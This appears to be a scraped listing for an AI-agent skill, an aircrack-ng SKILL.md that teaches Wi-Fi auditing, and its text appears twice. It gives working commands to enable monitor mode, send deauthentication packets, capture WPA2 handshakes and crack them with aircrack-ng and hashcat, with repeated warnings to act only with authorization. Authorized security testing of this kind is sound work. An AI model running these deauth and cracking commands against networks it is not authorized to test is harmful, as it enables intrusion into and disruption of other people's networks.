aircrack-ng

Name: aircrack-ng
Author: TerminalSkills

114stars13forks

How to install aircrack-ng?

terminalskills/skills/aircrack-ng

$npx -y skills add TerminalSkills/skills --skill aircrack-ng

Installs into the current project.

Summary

Audit Wi-Fi networks with the aircrack-ng suite. Use when a user asks to test their own wireless network, capture WPA2 handshakes, crack captured handshakes offline, put an adapter into monitor mode, or perform a wireless pentest under an authorized engagement.

Files · 1

View on GitHub

SKILL.md

1	# Aircrack-ng
2
3	## Overview
4
5	Aircrack-ng is the reference suite for 802.11 security auditing. It captures wireless frames in monitor mode, extracts WPA/WPA2 4-way handshakes, and performs offline dictionary attacks against the captured handshake. The suite is `airmon-ng` (monitor mode), `airodump-ng` (capture), `aireplay-ng` (injection/deauth), and `aircrack-ng` (offline crack). Use exclusively on networks you own or have written permission to audit.
6
7	## Instructions
8
9	### Step 1: Put the Adapter in Monitor Mode
10
11	```bash
12	# Check which adapters support monitor mode and injection
13	sudo airmon-ng
14	# PHY Interface Driver Chipset
15	# phy0 wlan0 ath9k_htc Atheros AR9271
16
17	# Kill processes that interfere with monitor mode
18	sudo airmon-ng check kill
19
20	# Enable monitor mode — wlan0 becomes wlan0mon
21	sudo airmon-ng start wlan0
22
23	# Verify
24	iw dev wlan0mon info \| grep type
25	# type monitor
26	```
27
28	### Step 2: Scan Nearby Networks
29
30	```bash
31	# Scan all 2.4 and 5 GHz channels
32	sudo airodump-ng wlan0mon
33	# Columns: BSSID, PWR, Beacons, #Data, CH, ENC, CIPHER, AUTH, ESSID
34	# Note the BSSID and channel of your target network
35
36	# Filter to a specific channel and BSSID
37	sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
38	# -w handshake: write pcap files prefixed "handshake"
39	# Keep this running — it logs clients connecting to the AP
40	```
41
42	### Step 3: Capture a WPA Handshake
43
44	```bash
45	# Option A: passive — wait for a client to authenticate
46	# airodump shows "WPA handshake: AA:BB:CC:DD:EE:FF" in the top-right when captured
47
48	# Option B: active — deauth an existing client to force reconnection
49	# (only on networks you own or have authorization for)
50	sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
51	# -a: AP BSSID -c: client MAC (from airodump station list)
52	# 5 deauth packets is usually enough; don't flood.
53
54	# Confirm the handshake is in the capture
55	aircrack-ng handshake-01.cap
56	# Look for: "1 handshake" next to the target BSSID
57	```
58
59	### Step 4: Crack the Handshake Offline
60
61	```bash
62	# Dictionary attack with rockyou
63	aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake-01.cap
64	# KEY FOUND! [ correcthorsebattery ]
65
66	# With a rule-transformed wordlist (via john)
67	john --wordlist=rockyou.txt --rules=KoreLogic --stdout \
68	\| aircrack-ng -w - -b AA:BB:CC:DD:EE:FF handshake-01.cap
69
70	# Convert to hashcat format for GPU cracking (much faster)
71	hcxpcapngtool -o hash.hc22000 handshake-01.cap
72	hashcat -m 22000 hash.hc22000 rockyou.txt
73	```
74
75	### Step 5: Clean Up
76
77	```bash
78	# Stop monitor mode and restore managed mode
79	sudo airmon-ng stop wlan0mon
80	sudo systemctl restart NetworkManager
81	iw dev
82	# Should show wlan0 back in managed mode
83	```
84
85	## Examples
86
87	### Example 1: Audit Your Own Home Network
88
89	```bash
90	# Authorization: it's your network. Still, snapshot settings so you can recover.
91
92	sudo airmon-ng check kill
93	sudo airmon-ng start wlan0
94
95	# Locate your AP
96	sudo airodump-ng wlan0mon
97	# Press Ctrl+C after you see your SSID on, say, channel 6, BSSID CC:...
98
99	# Capture targeted
100	mkdir -p ~/audit && cd ~/audit
101	sudo airodump-ng -c 6 --bssid CC:CC:CC:CC:CC:CC -w home wlan0mon &
102
103	# Reconnect a device (phone Wi-Fi off/on) to produce the handshake naturally
104	# Stop airodump once you see "WPA handshake" in the header
105
106	# Attempt to crack with a personal wordlist + rockyou
107	aircrack-ng -w /usr/share/wordlists/rockyou.txt -b CC:CC:CC:CC:CC:CC home-01.cap
108
109	# If it cracks quickly → your passphrase is weak, change it.
110	sudo airmon-ng stop wlan0mon
111	```
112
113	### Example 2: GPU-Accelerated Cracking with Hashcat
114
115	```bash
116	# Convert the capture to hashcat 22000 format (replaces older -m 2500)
117	sudo apt install hcxtools
118	hcxpcapngtool -o corporate.hc22000 corporate-01.cap
119
120	# Verify the essid/mac
121	cat corporate.hc22000 \| head
122
123	# Run hashcat with a strong wordlist + best64 rules
124	hashcat -m 22000 corporate.hc22000 \
125	/usr/share/wordlists/rockyou.txt \
126	-r /usr/share/hashcat/rules/best64.rule \
127	--status --status-timer=10
128
129	# Retrieve the recovered passphrase
130	hashcat -m 22000 corporate.hc22000 --show
131	```
132
133	## Guidelines
134
135	- Written authorization is mandatory. Capturing or cracking a neighbor's Wi-Fi is a crime. Only audit your own networks or those covered by an engagement scope.
136	- Not every adapter supports monitor mode and injection. Proven chipsets: Atheros AR9271, Ralink RT3070, MediaTek MT7612U, Realtek RTL8812AU.
137	- Start with `airmon-ng check

People who liked this also viewed

6 picks

Type

aircrack-ng

114stars13forks

View on GitHub

How to install aircrack-ng?

terminalskills/skills/aircrack-ng

$npx -y skills add TerminalSkills/skills --skill aircrack-ng

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# Aircrack-ng
2
3	## Overview
4
5	Aircrack-ng is the reference suite for 802.11 security auditing. It captures wireless frames in monitor mode, extracts WPA/WPA2 4-way handshakes, and performs offline dictionary attacks against the captured handshake. The suite is `airmon-ng` (monitor mode), `airodump-ng` (capture), `aireplay-ng` (injection/deauth), and `aircrack-ng` (offline crack). Use exclusively on networks you own or have written permission to audit.
6
7	## Instructions
8
9	### Step 1: Put the Adapter in Monitor Mode
10
11	```bash
12	# Check which adapters support monitor mode and injection
13	sudo airmon-ng
14	# PHY Interface Driver Chipset
15	# phy0 wlan0 ath9k_htc Atheros AR9271
16
17	# Kill processes that interfere with monitor mode
18	sudo airmon-ng check kill
19
20	# Enable monitor mode — wlan0 becomes wlan0mon
21	sudo airmon-ng start wlan0
22
23	# Verify
24	iw dev wlan0mon info \| grep type
25	# type monitor
26	```
27
28	### Step 2: Scan Nearby Networks
29
30	```bash
31	# Scan all 2.4 and 5 GHz channels
32	sudo airodump-ng wlan0mon
33	# Columns: BSSID, PWR, Beacons, #Data, CH, ENC, CIPHER, AUTH, ESSID
34	# Note the BSSID and channel of your target network
35
36	# Filter to a specific channel and BSSID
37	sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
38	# -w handshake: write pcap files prefixed "handshake"
39	# Keep this running — it logs clients connecting to the AP
40	```
41
42	### Step 3: Capture a WPA Handshake
43
44	```bash
45	# Option A: passive — wait for a client to authenticate
46	# airodump shows "WPA handshake: AA:BB:CC:DD:EE:FF" in the top-right when captured
47
48	# Option B: active — deauth an existing client to force reconnection
49	# (only on networks you own or have authorization for)
50	sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
51	# -a: AP BSSID -c: client MAC (from airodump station list)
52	# 5 deauth packets is usually enough; don't flood.
53
54	# Confirm the handshake is in the capture
55	aircrack-ng handshake-01.cap
56	# Look for: "1 handshake" next to the target BSSID
57	```
58
59	### Step 4: Crack the Handshake Offline
60
61	```bash
62	# Dictionary attack with rockyou
63	aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake-01.cap
64	# KEY FOUND! [ correcthorsebattery ]
65
66	# With a rule-transformed wordlist (via john)
67	john --wordlist=rockyou.txt --rules=KoreLogic --stdout \
68	\| aircrack-ng -w - -b AA:BB:CC:DD:EE:FF handshake-01.cap
69
70	# Convert to hashcat format for GPU cracking (much faster)
71	hcxpcapngtool -o hash.hc22000 handshake-01.cap
72	hashcat -m 22000 hash.hc22000 rockyou.txt
73	```
74
75	### Step 5: Clean Up
76
77	```bash
78	# Stop monitor mode and restore managed mode
79	sudo airmon-ng stop wlan0mon
80	sudo systemctl restart NetworkManager
81	iw dev
82	# Should show wlan0 back in managed mode
83	```
84
85	## Examples
86
87	### Example 1: Audit Your Own Home Network
88
89	```bash
90	# Authorization: it's your network. Still, snapshot settings so you can recover.
91
92	sudo airmon-ng check kill
93	sudo airmon-ng start wlan0
94
95	# Locate your AP
96	sudo airodump-ng wlan0mon
97	# Press Ctrl+C after you see your SSID on, say, channel 6, BSSID CC:...
98
99	# Capture targeted
100	mkdir -p ~/audit && cd ~/audit
101	sudo airodump-ng -c 6 --bssid CC:CC:CC:CC:CC:CC -w home wlan0mon &
102
103	# Reconnect a device (phone Wi-Fi off/on) to produce the handshake naturally
104	# Stop airodump once you see "WPA handshake" in the header
105
106	# Attempt to crack with a personal wordlist + rockyou
107	aircrack-ng -w /usr/share/wordlists/rockyou.txt -b CC:CC:CC:CC:CC:CC home-01.cap
108
109	# If it cracks quickly → your passphrase is weak, change it.
110	sudo airmon-ng stop wlan0mon
111	```
112
113	### Example 2: GPU-Accelerated Cracking with Hashcat
114
115	```bash
116	# Convert the capture to hashcat 22000 format (replaces older -m 2500)
117	sudo apt install hcxtools
118	hcxpcapngtool -o corporate.hc22000 corporate-01.cap
119
120	# Verify the essid/mac
121	cat corporate.hc22000 \| head
122
123	# Run hashcat with a strong wordlist + best64 rules
124	hashcat -m 22000 corporate.hc22000 \
125	/usr/share/wordlists/rockyou.txt \
126	-r /usr/share/hashcat/rules/best64.rule \
127	--status --status-timer=10
128
129	# Retrieve the recovered passphrase
130	hashcat -m 22000 corporate.hc22000 --show
131	```
132
133	## Guidelines
134
135	- Written authorization is mandatory. Capturing or cracking a neighbor's Wi-Fi is a crime. Only audit your own networks or those covered by an engagement scope.
136	- Not every adapter supports monitor mode and injection. Proven chipsets: Atheros AR9271, Ralink RT3070, MediaTek MT7612U, Realtek RTL8812AU.
137	- Start with `airmon-ng check

People who liked this also viewed

6 picks

Type